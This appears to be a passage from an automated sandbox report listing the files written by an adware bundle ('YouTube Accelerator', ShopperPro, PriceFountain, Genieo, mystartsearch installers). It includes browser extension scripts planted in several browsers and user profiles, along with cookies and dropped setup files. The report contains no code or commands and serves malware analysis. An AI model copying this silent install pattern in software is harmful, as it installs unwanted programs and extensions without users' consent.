C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\bootstrap.js (1032 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela (4 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\bootstrap.js (2 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)

The process YouTubeAcceleratorService.exe:3356 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC3FD0.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3356_YouTubeAcceleratorService.log (258395 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC3523.tmp (98 bytes)
C:\Windows\Temp\SBC3799.tmp (547 bytes)
C:\Windows\Temp\SBC4398.tmp (51193 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3356.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6515 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC7C26.tmp (547 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC3EC6.tmp (98 bytes)
C:\Windows\Temp\SBC3C64.tmp (44 bytes)

The process YouTubeAcceleratorService.exe:3652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process ins_postInst.exe:4004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_28041\ins_shopperpro.exe (18632 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_11555\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_11555\ins_postInst.exe (7726 bytes)

The process smt_mystartsearch.exe:2560 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~dlE2B0\~dlxz\jieya.dll (410 bytes)

The process YouTubeAccelerator.exe:3948 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_YouTubeAccelerator.log_tmp (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B91.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7AF2.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3948_YouTubeAccelerator.log (14459 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7ADF.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B56.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B04.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B79.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1404_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B06.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1404.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7A7F.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8B.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3948.log (76713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7A5E.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8D.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B8F.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (229887 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3948.log_tmp (13 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1404_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3356.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3356_YouTubeAcceleratorService.log_tmp (52 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7B67.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1404_testlsp.log_tmp (989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\wbk7AE1.tmp (1 bytes)

The process jsdrv.exe:1472 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process pricefountain.exe:3652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\main.log (9027 bytes)

The process biclient.exe:2164 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GF0JQN4Y.txt (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QARV9M0L.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AV0GZDIB.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IUN64J8J.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp (38724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\AY65CSG1.txt (774 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (91380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\0U9X0UO2.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VS9GCKRU.txt (324 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E3HK1VW6.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\63PKF2WO.txt (776 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZDT65448.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q11MOX74.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5UBPH8PO.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\ef016749e4b3b84c8b6f3946b9bc2c0d[1].htm (40152 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[2].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_sprite_full[1].png (1276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[2].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\R04FY25X.txt (612 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3QWTQG3N.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EGQBYCG4.txt (776 bytes)

The process biclient.exe:2944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9SEKOS41.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\WTF80D0P.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (91380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OY6G9J6B.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\72WK8A5C.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ga[1].js (23106 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\799c6eaebeb52f4eabf469c6ed8ad1c0[1].htm (37262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5Q1ENLUX.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\66RQ30EE.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L561DM1A.txt (546 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\R5G0ZSPY.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2ZCGEIU3.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YLJ9PH4T.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\pricefountain[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68422 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (12984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H2CDJAQC.txt (824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LU9J2L33.txt (284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp (38724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (2188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7FB2YUW1.txt (684 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-pricefountain[1].htm (7161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V31KTA8F.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp.0 (5224 bytes)

The process biclient.exe:3776 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\N6PHH5X1.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HFW5XNR5.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp (17368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\8bcb66b22b13e545b4025cefa77c7e57[1].htm (38452 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
